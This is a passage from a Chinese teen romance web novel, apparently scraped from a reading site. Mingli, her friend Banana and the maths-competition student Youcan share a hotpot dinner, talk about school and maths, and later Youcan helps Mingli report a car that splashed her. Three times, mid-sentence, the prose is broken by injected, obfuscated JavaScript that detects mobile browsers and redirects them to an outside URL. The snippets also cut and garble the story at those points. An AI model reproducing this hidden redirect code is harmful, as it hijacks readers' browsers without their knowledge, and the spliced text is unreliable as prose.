她立刻低头,没再参与聊天。 几个人在咖啡馆聊完,居然还觉得不够尽兴。 芭娜娜初来乍到,听着什么都觉得新奇。 “大老远的来一趟不容易,不用说了,这顿必须安排,”贺鸣飞说,“灿哥,城西那家串串火锅还开着吗?” 游灿在手机上划了两下,“开着,前两天刚去。” 贺鸣飞说:“那家火锅是我们屿城的特色,今天必须得尝尝,什么也不用说了,这顿务必我请!” 徐惊临站起身,把椅背的外套搭在胳膊上,“你们去吧,我等会要训练,就先走了。” 芭娜娜也没觉得失望,欢喜地跟人加了微信,“拜拜!那你好好训练。” 明厘一点也不想去吃火锅,她倒不是抗拒,只是事情突然发展成现在这样,她有点措手不及。 贺鸣飞碰了下游灿的胳膊,“去不去啊?” 明厘低着头看手机上的八卦,耳朵却留意着两个人的对话。 在她的印象里,徐惊临和游灿从来都是共同进退,如果徐惊临不去的话,游灿不一定会去。 虽说贺鸣飞性格大大咧咧,但真要是单独相处,明厘有点发愁。 ——如果游灿也去就好了。 产生这个念头的下一秒,明厘被自己吓了一跳。 她和游灿算不上熟,但几次单独相处都没有感到不自在。 明厘正在纠结时,听到游灿说:“去,难得有这么好的机会。” 她自始至终都低着头,心不在焉地看手机,但不知为何,她总觉得有一缕目光落在自己身上。 她没敢抬头,担心会撞上谁的目光。 如果是芭娜娜还好,但如果不是,应该会尴尬。 刚好此时,芭娜娜挽着她胳膊,小声问:“你今晚能不回家吗?” 明厘说:“嗯,我本来就打算跟你住一晚。” “Yes!!!”她担心,“阿姨不会说你吗?” 明厘十分淡定:“没事,不用管她,反正腿长在我身上,总不能报警抓我。” “太帅了!”芭娜娜激动地说:“走走走,吃火锅去!” 游灿招手拦了辆出租车,他坐在前面副驾驶,把要聊天的芭娜娜和贺鸣飞安排在后排,明厘就坐在芭娜娜旁边。 因为走路过慢,还被芭娜娜逮住问:“你腿怎么了?” 游灿关上车门,“摔的。” “走路摔的?” 贺鸣飞插嘴:“不是,他是为了救人,哎呀等会我给你指指。” 路过一个普通的居民楼时,贺鸣飞指着一栋灰色楼说:“就这儿!灿哥,是这里吧?” 游灿从手机上挪开眼,向窗外一瞥,“对。” “他这腿就是在这儿伤的,从三楼,唰,飞下来。” 明厘这天听到了游灿见义勇为的八卦。 四楼住户家有个小姑娘,才刚三岁,趁着家里人做饭没注意,推开窗户,翻出了窗外。 游灿骑着车路过,刚好看到小孩双脚踩在几根电线上,扒着四楼的窗户边沿,摇摇欲坠。 他扔了车就冲过去,翻上旁边的居民楼外侧的平台,斜着伸出胳膊,把哭得满脸泪的小孩抱了回来。 家里人顺利接过孩子,轮到他自己下来时,偏偏不知道从哪跑出来一个小猫,他正挂在三楼外侧的落脚点,半边身子都悬空着,小猫一个助跑,对准他的脸就扑了上去。 结果不出意料,游灿身体一歪,从三楼摔了下来。 好在楼下是个绿化带,身上其他地方轻微擦伤,小腿骨折。 “我刚去看他的时候,啧啧,那个惨烈。”贺鸣飞说,“外边的支架直接在骨头上打洞,穿进去,伤成那样都没法打石膏,吓死人了。” 明厘听得胆战心惊,不自觉看了眼自己的腿,仿佛小腿也跟着疼。 “行了,见个人你就得讲一遍是吧?”游灿在前面打断他。 “这不是让大家都记住您的善举吗?”贺鸣飞说,“说来也是,你要不是为了躲那小猫,也不至于摔成这样。” 游灿说:“我要是不躲摔下来的就是那只猫了。” “那个高度小猫应该没事吧,我家猫五楼都能飞。” 游灿说:“普通小猫没事,它腿伤着了,二楼都悬。” 芭娜娜问:“那小猫谁家的?这得要赔钱吧?” 贺鸣飞说:“小野猫,不知道谁家的,没处说理。” “啊?小野猫啊。” 贺鸣飞说:“不过现在归他了,让他领回去养了。” 明厘想起那只楼道里的小猫,她问:“是那只橘猫吗?” 游灿说:“对,就是那只。” 芭娜娜忽然转过来问:“你见过?在哪里?” ……明厘说:“偶遇。” 出租车关着窗户,安静极了,在她说完“偶遇”两个字以后,面前副驾驶上,传来一声轻轻的笑。 明厘不知道是错觉还是真的,她立刻抬头,副驾驶侧的后视镜,镜子里游灿似乎预判了她的视线。 他挑了下右侧眉毛,回她一个意味深长的笑容。 怪不得上次见到小猫,他说要涂药。 想来这小猫也是幸亏,能遇见游灿,不然一直在外面流浪,还受着伤,也不知道什么时候能痊愈。 她坐在后座,目光盯着前面副驾驶的皮革 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15385471|168334||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,听说了见义勇为的事后,好像对游灿的印象略微缓和。 敢豁出一切去救一只小猫的人,应该不会太差。 火锅店内座无虚席,服务员领着他们上了二楼。 游灿问:“有包厢吗?” 贺鸣飞指着他:“他就这个毛病,出来吃饭能进包厢就不坐大堂。” 芭娜娜说:“那就包厢吧,安静点。” 贺鸣飞看着菜单,问:“灿哥,喝酒吗?” “不喝。” 游灿坐下后就讲究地用热水给所有人烫了餐具。 “喝点呗,你受伤之后就没怎么喝了吧。” 游灿看他一眼,劝道:“有女生在呢,想喝下回再单独约。” “噢,那行吧。”贺鸣飞点了几瓶饮料,“那就都喝果汁吧。” 吃饭期间也是芭娜娜和贺鸣飞在说话,从旅游扯到上大学,期间因为聊得太尽兴,芭娜娜非要换座位。 于是,游灿和她换了座位,坐到明厘旁边。 对面是两个叽叽喳喳的话痨,他们两个如果不说话,会显得很诡异。 所以,游灿还是慢悠悠开启了话题,“你好朋友还挺能说,我挺久没见过能跟飞仔聊这么长时间还不嫌烦的了,不愧是你朋友。” 明厘白他一眼,冷笑道:“要不是脑子转得快,还真听不出来你一句话骂三个人。” “开个玩笑。”他拿过果汁给她倒满,“月考考得怎么样小明同学?” “谁允许你这样叫我了?” 游灿啧了一声,“不然叫你什么?小厘?” 明厘刚喝进去的果汁噗呲喷了出来,她瞬间剧烈咳嗽,脸涨得通红。 “哎哎,别激动,别激动啊。”游灿想拍拍她后背,但又觉得不妥,赶紧抓了几张餐巾纸,塞到她手上,“不是吧?杀伤力这么大?” 明厘缓了好一会儿,又咳嗽几声,对他说:“闭嘴。” “好好好,闭嘴。” 刚刚,少年的手触碰到她掌心,明厘清楚地感受到他手掌的温度,灼热干燥。 贺鸣飞挑的火锅店味道非常好,菜品新鲜,肉类也鲜嫩可口,明厘埋头吃饭,余光注意着身旁的男生,她在思考一个问题。 等到吃得差不多了,明厘还没想出答案,索性就问了出来。 “我有一个问题。”她说。 游灿故意客气:“您请。” “你什么时候受的伤?” 他还想了想,“暑假那会吧,怎么了?” “那你如果伤这么严重,怎么去集训?” 前面说几句话的时候,游灿吃着饭,随口和她搭两句,直到这句话出来,他忽然放了筷子,转过头来,认真地盯着她。 明厘被他的眼神盯得心头一颤。 “你看我什么?” 游灿:“没什么,我就是好奇,你对竞赛了解这么透彻?连集训什么时间都知道。” 明厘噎了下,硬着头皮说,“因为,我有个朋友……” 游灿指了下对面和贺鸣飞拍桌子吹牛的芭娜娜,“你别跟我说那个朋友是她?” 明厘没说话,谁看了都知道芭娜娜不像是学习的那块料。 不过他没再逼问,又拿起筷子,“我没参加集训,受伤了再跑来跑去不方便。” 明厘:“那你怎么进省队比赛?” 游灿说:“所以没去省队,放弃了。” 明厘皱了眉,“那可是省队,拿到奖能保送的。” “我放弃,你激动个什么劲?”游灿看了她一眼,“怎么,你也进省队了?” 明厘心说,我稀罕省队吗? 但她没显摆,而是说:“我只是觉得遗憾。” “不遗憾,今年再来一次呗。”他语气轻飘飘,却透着十足的自信。 17. 热爱 他说这话时,调子依然散漫随意,眼神却坚定,透着一种尽在掌握之中的绝对自信。 不知道他为什么要用“一定”这类百分百的词汇,明厘发言会习惯性避开太绝对的词。 她喜欢给自己留些余地。 做到了,会有意外之喜,做不到,也可以认为是理所当然。 但游灿似乎很乐意挑战百分之零或者百分之百。 明厘没有立场发表什么观点。 因为去年夏天,她同样放弃了去省队的机会。丢盔弃甲,像个逃兵一样,自私且懦弱地逃走了。 游灿似乎并不在意,对他而言,去不去集训,竞赛是否拿奖,也是无所谓的。光从朋友圈那些精彩的照片就看得出来,这人没有在学习上倾注太多精力。 他的生活像一盒打翻的油画颜料,红绿蓝交织,酸甜苦辣,竞赛只占小小一隅。 包厢内清净舒适,火锅咕嘟咕嘟冒着热气,花椒、辣椒从锅底翻涌而上,明厘吃得急躁,额头微微冒汗。 一只手伸过来,她看到游灿动作自然地关小火力,优哉游哉地喝着可乐,火锅被他吃出西餐牛排的慢条斯理感。 明厘余光看他,想起了江南水乡,夏季酷暑,满园绿色中穿行而过的汩汩溪流,不急不躁,是一种缓慢,宁静的感觉。 她吃饭速度也慢下来,燥热少了许多。 “那祝你再次取得好成绩。”明厘真诚地祝福他。 “谢谢啊,”游灿故作讶异,为她鼓掌,“不容易啊,终于听到你说句好话了。” 下一秒,明厘就把白眼翻上天,气势汹汹地撸了一根五花肉香菜卷。 “我不吃香菜,”他把香菜卷拿到她手边,胡言乱语:“喜欢吃香菜的人学不好数学。” 明厘拿过他递来的香菜串,大口塞进嘴里,挑衅似地看了他一眼。 游灿朝着她竖了个大拇指。 一席人吃完火锅,临走的时候,芭娜娜郑重其事地抱拳,“谢谢你们款待,下次来如果去海城,我绝对请吃饭……我好姐妹不爱说话,刚转学过来,人生地不熟,就有劳你们多多关照了!” 明厘:…… 同频共振的贺鸣飞居然还回了个抱拳:“放心吧放心吧!” 晚上,两个人回到酒店,芭娜娜把行李箱打开,摊在地上。 “看看我给你带什么好东西了?” 明厘眼睛一亮,“椰子饼?” “对啊,来的时候太兴奋了我都给忘了,也不知道被捂坏了没有……” 她坐在地上,像取宝藏似的一件一件拎出来,“啊,还有凤梨酥和橄榄蜜饯。” “太棒了吧焦湘小姐,这都能想得到!” “那必须的,之前咱们天天吃都要吃腻了,现在你这么远,吃到一次不容易,之后要是想要的话我给你寄快递过来。” “谢谢!”明厘笑了,眨眨眼说:“有种妈妈远道而来看闺女的感觉。” “哎,好闺女!” 明厘拜托小姨定了一间干净的高档酒店,房间内弥漫着淡淡的香水味,桌子上摆着满盘水果,还有一个奶油小蛋糕。 投影大屏幕上正在播放一部文艺电影,两位女孩坐在地上,脚趾踩着白色毛绒地毯,灯光暖黄,柔柔的,和明厘今天的心境一样。 后天就要开学了,芭娜娜是明天下午的飞机,她们只能在一起住一个晚上。 短暂又珍贵的一个晚上,过一分钟就少一分钟。 “今天那个男生,挺高挺帅的那个,你俩怎么回事?”芭娜娜吃着水果,忽然来了句。 “哪个?”明厘问。 “你说呢?”芭娜娜露出八卦的笑容,“可别瞒我,你心里想的什么我一猜就准。” “我发现你……真是敏锐。”明厘无奈地笑笑,实话实说:“他住我家楼上。” “那你俩怎么表现得跟不熟一样?” “本来就不熟啊。”明厘说,“而且我马上要搬走了。” “不是才刚搬过来没几天吗?” 明厘说:“我妈新找了个男朋友,过几天要搬过去一起住。” “哦,行吧。”芭娜娜说。 “我听飞飞仔说了,他好像学习挺牛逼。” 明厘淡淡地说:“嗯,数学竞赛生。” “那你之前见过他?” “没有。”明厘摇摇头,“见了我也记不住。” “那可不一定,就那张帅脸,放人堆里都是出类拔萃的。” “扯哪儿去了?” “八卦两句呀,”芭娜娜碰碰她胳膊,“怎么着,羡慕他啊?萍水相逢的,干嘛对人家敌意这么大?” “我羡慕他干嘛?”明厘说,“他有的荣誉我都有,一点也不比他差。” “就知道小明是最厉害的。”芭娜娜说,“但是吧,话又说回来,他气质其实不太像学竞赛的,有种……松弛感,你懂吗?” “竞赛还分什么气质啊?” “对啊,你又不是没见过咱们学校高三那几个,临近比赛了也不吃饭也不睡觉,印堂发黑嘴唇发白,学得跟鬼似的。”芭娜娜说,“就是他整个人都有种无所谓的气质,但是你偏偏还能觉得,这人肯定不简单,大智若愚。” 明厘心说,你是没见过他吃瘪的样子,“大智若愚四个字他也就占后四分之一,我现在怀疑你是不是收了他钱了?一直帮着说好话。” 芭娜娜无语:“什么玩意啊,我这不是看看你未来的朋友都是啥人吗,万一以后看上哪一个,我也能帮着你出出主意。” “行了行了,又扯远了。” 芭娜娜忽然又说:“哦对了,你这两天不学习吗?我还怕耽误你学习呢。” “不耽误,高一不用那么紧张,我打算等高三再努力。”明厘说:“我来这儿就是放松的,成绩说的过去就行,也不一定非得拿第一。” 芭娜娜担忧:“但这样的话,阿姨又得失望了吧。 明厘吃了口蛋糕,“我妈都四十好几的人了,还是高知人士,也该学会接受失望了。” “你真不学了?”芭娜娜吃了个樱桃,“从小学到大,说扔就扔啊?” “不学了。” “但你不是一直很喜欢数学吗?” 明厘短暂思考了下,说:“说不上来,反正喜欢不喜欢的也没所谓,我一样能学好。” “我们这种学渣是理解不了,”芭娜娜叹了口气,歪着头说,“我看见数学就头疼,看见数学课本就想吐,要色彩没色彩,要美感没美感,到底有趣在哪啊?” “美感还是有的吧,几何图形很美,逻辑严谨,公式也很简洁。”明厘说:“运用已知条件,抽丝剥茧,写出结论,这个过程很解压。” ……芭娜娜展示出数学弱智的眼神。 晚上两点多,两人还没有睡意,在细碎又不着边际的聊天中,明厘恍惚,仿佛回到了海边那座小城。 尽管才离开三个月,她依然很想念那片海。 如果不是芭娜娜偶然提到数学这个话题,她都快记不清自己从什么时候开始学数学、为什么学数学。 最初选择竞赛科目时,在数学和物理之间摇摆不定,明岚直接帮她决定了数学。 理由是:学好数学能证明一个人聪明,而她需要一个聪明的女儿。 小明同学懵懵懂懂开启了数学生涯。 “鸡兔同笼”问题,是她第一次感受到数学的杀伤力。 那是一个平静温柔的下午,海浪无声,伴着窗外夕阳,小明同学算出共有小鸡3.23只。 她有点尴尬地捂着答案,害怕让同学发现,她算出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15399941|168334||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 笼子里有三只小鸡,外加几个鸡翅膀。 但她想,自己应该是依赖数学的。 爸爸妈妈每次吵架,她就躲在自己的房间,无声地沉浸在解题中,依靠数学题,消解慌张和无助的情绪。 “我觉得大人的世界很乱,没有规律,但数学是非黑即白的东西,拥有严格的秩序,让我很有安全感。我只需要按照秩序解题,然后收获胜利。”明厘曾经坐在海滩上,和芭娜娜分享,认真地说数学构建我们认知的边界。 芭娜娜一如既往,骂她神经病。 正值初中,班里的同学们陷入勾股定理和一元二次方程的沼泽,数学代表着枯燥,晦涩难懂。 明厘像打开了新世界的大门,她很享受做数学题的感觉,抽丝剥茧,做一道题,像了解一个人。 那些外人看来冷冰冰的公式和数字,是她最为信赖的东西。 大人都在变。 妈妈会整晚不回家,爸爸一直在喝酒,最爱的外婆因为生病去世,她搞不懂的问题有很多,但除了上学什么也做不了。 疑惑和好奇盘旋在脑海中,明厘开始动笔,用确定的、非黑即白的东西来驱走内心的杂念。 解出题目带来的喜悦和满足感,能帮助她短暂脱离现实世界。 那些简洁抽象的逻辑,教会她消解生活中的杂念,逃离平庸和琐碎,整个人变得理性、强大。 起码数学不会背叛她。 可老师说:“男生普遍比女生聪明,等上了高中你们就知道了,男生理科思维更强,数理化成绩也会更好,到时候慢慢地就超过女生了。” 明明班里前几名都是女生,老师却依然对她们下了这个魔咒。 很长一段时间,班级里的女孩子们纷纷慌张:完蛋了。初中一毕业,我的成绩就要下滑了吗?要被男生超过了吗? 明厘拧着眉,看看后排那些嬉皮笑脸的男生,内心燃起一股不服输的小火苗。 后来,整个初中时期,不论怎么考,她的数学成绩永远碾压所有男生,高高挂在榜首。 明厘说:“总之,数学不会背叛我。” “听不懂,”贺鸣飞说,“一点也听不懂,什么背叛不背叛的。” 游灿喝了口水,拧上瓶盖,“那我说得简单一点,数学的魅力就是我会做,但你不会做,懂了吧?” 贺鸣飞挠挠头,“我靠!我居然觉得你说得有道理。” “就是有道理。”游灿翻出书桌上一张纸,拿起笔开始演算。 “这什么啊,数列吗?”贺鸣飞凑过去看。 “不是,”游灿把纸推过去,“一道数学规律题,挺难的,我做了好几天没做出来。” “哦,找规律啊?”贺鸣飞看了眼,随口说:“不是0吗?” “卧槽,”游灿吃惊地看着他,“你怎么做出来的?” “这不是小学生的题目吗?昨天还跟我妹玩找规律了,你读一遍不就知道了。” ……答案来得猝不及防,游灿还没反应过来,“什么意思,小学生题目?” “对啊,看音调找规律啊,这题目我妹都能做得出来。” 音调? 游灿不可置信地又看了一眼那张纸。 1,X,5,2,3,10,9,4。 小学生都懂的音调。 他愣了几秒,看看一脸迷茫的贺鸣飞,又看看那张纸,世界安静极了。 贺鸣飞山河色变的笑声传来,“你就做这玩意做了好几天?学数学学傻了吧,这又不是数学题哈哈哈哈哈哈哈……” 游灿看着那几个数字,回忆起楼梯间女孩玩味似的笑容,几秒钟后,气笑了。 困扰他好几天的题目,机缘巧合之下,忽然解开了。 而且,以一种侮辱性极强的方式,解开了。 18. 溅湿 这天多云,明厘把芭娜娜送到机场,安检口前,两个人聊了一会儿。 “要不五一我再来找你吧。” 明厘说:“好,或者我去找你。” “还是我来吧,你好好在家学习。” 明厘说:“说得好像你不用学习似的。” 芭娜娜摇头,“咱俩不一样啊。” 明厘赞同,叹了口气,“不是谁都有一个神经病控制欲强的妈妈。” “没事!等上了大学就能逃离魔爪了啊!”芭娜娜说。 “那我期待着。”明厘笑了笑。 把人送走之后,明厘独自打车回家。 芭娜娜声音大,喜欢吵吵闹闹,骤然送走她,明厘觉得空了。 机场近郊区,这个月份草木还是枯黄的,让人心情也很丧。 人活着,还是得沾点鲜艳的颜色。 而天空的蓝是最廉价易得的色彩。 抬眼可得。 于是,明厘抬头。 好嘛,整片灰白。 今天阴天,一丝蓝色都不曾施舍给她。 目之所及,一片苍凉。 空落落的心情一直持续到第二天早上,直接导致她起晚了。 睁开眼睛时,已经比平时晚了30分钟。 她几乎是跳着下床,入室抢劫一样闯进卫生间,刷牙洗脸,拽走书包,套上衣服袖子就往外跑。 上演了一出滑稽的TomandJerry。 昨晚下了雨,清冽新鲜的空气扑面而来,明厘大口呼吸着,加快了步速。 她边跑边看表,不知道能不能顺利赶上早读。 门前的路有些坑洼不平,一场雨之后,坑洼里面囤积了不少雨水。 明厘站在路边,伸头不断张望,等待出租车。 按理说,路面有积水的情况下,大部分司机都会放慢车速,防止积水溅到路人。 但世界上偏偏就有不讲道理的人。 明厘心急如焚地等待出租车,一边整理衣服,一边反复计算她迟到的可能。 就在此时,一辆车飞驰而过,经过她时,速度丝毫不减,反而加速,轮胎溅起高高的水花,准确无误地朝着她喷去。 明厘吓得闭了眼,伴随着汽车高速行驶的呼啸声,她身上一凉。 完蛋了。 这个念头刚冒出来,她睁开眼,发现车屁股早就不见了踪影。 再低头看看,上衣、裤子、鞋子全部沾满黄色泥点。 神经病啊……明厘小声骂了句司机。 她愣了两秒,下意识想擦去身上的泥点,但是…… 实在太多了,上衣是黑色并不明显,但牛仔裤湿了之后会变色,她还穿着一双小白鞋! 这人故意的吧? 她眉头拧着,因为愤怒睁圆了眼睛。 这种憋屈是最难受的,因为无处释放,司机早就扬长而去,她就算骂一百遍也没用。 但还是得骂,不然人会被憋死。 明厘咬着唇,不断擦拭身上的泥点。 本来心情就不好,这都是什么破事啊! 今天怎么会这么倒霉! 耽误这么几分钟,已经彻底迟到了。 她看看时间,又看看身上的泥点。 依然很生气。 她可是站在人行道上,过人行道不知道减速的吗?素质被狗吃了吗? 看不出来她是学生,还要急着上学的吗? 明厘头顶火焰山,哐哐冒着火,掏出手机,咔擦咔擦把全身都拍了照片。 然后,拨通一个号码。 “您好,我要举报,今天早上八点十五分左右,在枫林路,一辆车过斑马线没减速,污水全都溅到我身上了。” 明厘越说越激动,气得声音有些发抖。 “他明显是故意的,况且这个行为已经违反道路交通法,希望相关部门能对车辆作出处罚。” 对面听完,轻飘飘地说:“这不归我们管。” 明厘顿时噎住,想说的话都被堵了回去,她咽了下口水,“那归谁管?” 对方语速极快又不耐烦地报了个名字。 然后一秒挂断电话。 手机恰好熄屏,映出一张清秀的脸。 可惜就是心情不怎么好,眉头紧紧皱着,明显不悦。 本来就烦躁,如果这时候自认倒霉走了,今天一天都会因为这事生气。 她咽不下这口气。 明厘咬咬牙,又拨了个电话。 这次对面态度倒是挺好,但是问了一个关键问题。 “小姑娘,车牌号你看清了吗?” 明厘实话实说:“我没看清,他车速太快了,我当时闭了眼。” 对面很为难,“没有车牌号我们没法给你调车主信息啊。” 她不死心,“但是查监控不可以吗?” “监控又不是想查就能查的,你以为这么简单吗?” 这话一出来,明厘心凉了半截。 “或者你找找周围有没有目击证人啊?” 这还要目击证人?? 可是她记得很清楚,当时路上只有那一辆没素质的车,她旁边也没有人。 她轻轻地问:“那调取监控的话不就能……” 那人打断她,也没说行,也没说不行。 “今天周六,值班的不多,你要是不嫌麻烦就跑一趟试试。” 风吹过来,湿透的小腿很冷,冰凉的衣服贴在身上,黏腻难受。明厘忽然泄了气,她觉得这事,应该不会有个结果了。 对面的人又问了句:“所以车牌号也没有,目击者也没有是吧?” 她正要回答一句''是'',手里忽然一轻,手机被人夺走。 “有,车牌号是''琴GH6053'',我就是目击者。”他攥着她的手机,沉稳回应。 明厘倏然回头,率先看到的是一对明亮清澈的眼睛,少年高瘦挺拔,黑发微微遮住眉眼,一根书包带子懒散搭在肩膀。 “您记录一下吧,我叫游灿,手机号是185XXXX5947,后续有结果的话打这个电话就成。” 他简单清楚地把事件又讲了一遍,挂断电话。 明厘还愣在原地。 “发什么呆呢?”游灿把手机塞回她手上。 “你怎么在这儿?”她一时间不知道该说什么好,随口问了一句。 “我家住这儿啊,你又不是不知道,”他忽而想起什么,皱着眉,“不是我说,被车溅水了不赶紧回家换衣服吗?这种天,小风一吹你保准感冒,我吃着早饭呢,远远就看着你站路边愣怔,想什么呢?” “可那个车真的很过分!”明厘憋着一肚子火,“反正都迟到了,我要投诉他之后再去。” “小明啊,”游灿无奈地笑了下,“投诉也要硬气一点,礼貌来礼貌去的,人家也不重视,行不行?” 明厘快速抓住重点,“你等着看我笑话呢?” “别跑题啊,我路过在那边吃早餐,看你被车溅了一身水还在旁边打电话,以为你请假回家换衣服就没过去。”他说:“打了半天电话还没走,我才去看看你是不是被水淋傻了。” “那你……”明厘看到他就下意识想回怼,但忽然不知道该说什么了,仔细一想,好像不太对。 刚刚,他是不是帮了自己来着? 明厘抿了下唇,抬眸小心地看他一眼。 “谢谢你啊……” “能不能大大方方地说啊。”他瞥了她一眼,不满意。 “不能。”明厘说,“只能小小方方地说。” “好嘞。”游灿说,“那你就小小方方地说吧。” 明厘小声说:“谢谢你。” 游灿小声说:“不客气。” 两个人对视一眼,忽然同时笑了。 但是……为什么要笑? 好尴尬。 更尴尬的是,笑完过后,两个人同时沉默了。 为什么要沉默? 明厘脑细胞要炸了。 快点!来个人,打破这沉默吧! 她主动出击,敛了笑容,清了清嗓子,贴心问道:“你要去学校吗?” 游灿看她一眼,说:“我不去学校,我去扫大街。” “扫什……?”明厘这才反应过来,他嘲讽她呢。 刚才的感激之情啪地斩断,她怀疑他又开始找事了。 “你问得也是挺有水平,我不上学还能干嘛?”游灿说。 “扫大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15410468|168334||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 街啊。”明厘不客气道。 游灿不跟她计较,问道:“你打算怎么办,衣服还换不换了?” “要换,”明厘这才想起来她衣服还一团糟,说:“你能帮我请个假吗?我可能要晚点到学校。” “我今天不去学校,你得自己说。” “那你干嘛?”明厘疑惑,他不会真去扫大街吧? 游灿似乎看出了她的心思,无语道:“我周末学竞赛,不在班里上自习。” “哦。”明厘了然。 “我走了,你回去换衣服吧,交警那边有消息再告诉你。” “好。” 游灿又说:“没消息也不用着急,晚上回来我告诉找哪个部门能解决,放心吧,车主肯定能找到,他得给你道歉和赔偿。” 明厘摇摇头,“也不用赔偿,我就想要道歉。” “别犯傻。”他说:“道歉得要,赔偿也得要,他既然敢做,就得承担责任。你好好等着就行了。” 游灿看了眼时间,匆匆跟她说了几句就走了。 明厘慢慢走回家,像扒蟹足棒的透明皮一样,把湿透的牛仔裤拽下来。满身轻松地仰躺在床上。 游灿的话仿佛给她打上一剂强心针,也或许是他说话时坚定的眼神,她又相信,这事没准还能有个好结果。 上午九点多,明厘终于回了学校。 同桌关心道:“你生病了吗,怎么到这么晚?” “没有,”明厘摇摇头,“遇到一点倒霉事。” “倒霉事?” “对,”她没打算多说,“不过还好,也遇到了好人。” “那就好。”闻棠说。 说完,她不自觉向后排看过去。 那张单人桌果然是空的。 她站着,漫不经心地扫过全班,忽然发觉,班里好几个位置都是空的。 明厘抽了张纸巾擦手,问了一句:“周末很多人请假不上自习吗?” 闻棠正做着眼保健操,听到这话睁开眼,扭头前后看了看,“什么?” “好像有几个人不在。” “噢,”闻棠顺着她眼神所指看过去,说:“他们是去上竞赛课的,周末也要培训。” 明厘:“是吗,这么好。” “对,不过你今天才发现吗?他们晚自习和周末自习都不来的。” 明厘还真没注意,听她这样一说才意识到,原来班里少这么多人。 回头看,在整齐排排坐的班里,其实很突兀。 那为什么今天就能注意了呢? 明厘把湿纸巾扔进桌子中间的小垃圾袋里,淡淡地说:“可能我之前写作业比较专注。” 高中生的生活实在太枯燥了。 吃饭睡觉学习,稍微有点八卦就会被无限放大,风靡全校。 午饭那会儿,明厘意外听了一些。 闻棠说,班长凌越是个爽快率真的女生,家里开健身馆,刚开学那会儿穿短袖,隐隐能看到凌越精瘦流畅的腰线。 比如贺鸣飞经常横过来说话并非是想当螃蟹,而是为了看后面的女生夏之唯。 “夏之唯是哪位?” 闻棠说:“就在咱们的左斜后面,你有空注意一下就知道了,齐刘海长睫毛,可漂亮了。” “大家都知道?” “大部分都知道,说起来这事还挺有意思,”闻棠憋着笑给她讲,“你别看贺鸣飞大大咧咧的,但他一跟夏之唯说话就结巴又脸红,特逗。” 她又补充说,“其实你只要在他面前一提夏之唯他也脸红。” 说完,两个人都八卦地笑了。 等着闻棠吃饭的空,明厘拿出手机,无聊地解锁。 不知不觉,就打开了微信。 她置顶的消息框有两个,芭娜娜和小姨。 两个人下面,紧跟着,就是名叫“游火火”的消息。 对话页面简单空白,只有他发来的一句“小明同学,能帮我捎一份数学卷子回来吗?谢谢。” 明厘想了想,今天早上的事多亏了他,她该表达一下谢意。 于是,游灿发出那条消息的三天之后,明厘在食堂,回复他: “不用谢,火火同学,我今天会帮你带数学卷子回去的。” 19. 成绩 早读前的一班犹如一锅沸水,非常喧闹。 “飞仔!你鬼鬼祟祟藏什么好东西呢?” 一嗓子,好几个人看过去。贺鸣飞外套鼓起大包,揣着东西进了教室。 “还是不是兄弟了,赶紧拿出来分享!” 贺鸣飞扭头:“语文必刷题,甜甜老师让我买的,谁想要来来来!” 众人啧啧着散场,“您自己留着用吧。” 明厘坐在后排,清楚地看见贺鸣飞小心翼翼掏出一个大盒子,弯着背在桌洞里窸窣摆弄。 她低头继续做题时,贺鸣飞拍了下她桌子。 “怎么了?”她抬眸。 贺鸣飞双手捧着一个精致小巧的礼盒,“拜托拜托!” 高中生嘛。少不了传纸条传东西,看似风平浪静,实则什么货物走哪条线都规划地清清楚楚。 但上课期间就得谨慎,会耽误别人学习。 这天,贺鸣飞把一整盒进口黄油曲奇递给明厘,和她讲了三遍该怎么传,每一步传给谁,像传递火炬一样郑重其事。 明厘了然,传给同桌闻棠,闻棠传给后桌男生,男生再往后传给凌越,凌越负责递给过道另一侧的夏之唯。 至此,丝绸之路完成。 货物是顺利到达了,但经过每个人都要扣除过路费——一块黄油曲奇。 因此,可怜如贺鸣飞,每次传东西都得备足了分量。 曲奇味道很惊艳,甜而不腻,口感醇香。 周天教室内安静极了,说话开小差完全不存在,但不知道谁起了个头,嘎吱一声,打响了吃曲奇的信号。 许多人默契地对视一眼,憋笑,然后几声咳嗽之后,蠢蠢欲动。 五分钟后,教室内依旧宁静安逸,没有人说话。 因为一班集体在本本分分地吃曲奇。 外边万一有谁经过,还寻思一班养了一群仓鼠。 浩浩汤汤,又吵又安静。 值得一提的是,夏之唯没好意思直接收贺鸣飞的礼物,还回去又觉得伤人自尊,凌越快刀斩乱麻,夺过来,慷慨地分给所有没拿到曲奇的人,大家一起吃。 “感谢贺鸣飞同学啊,“凌越一边发一边说,“瞧瞧,飞仔多周到,给每个人都准备了小零食。” 夏之唯也确实能吃到。 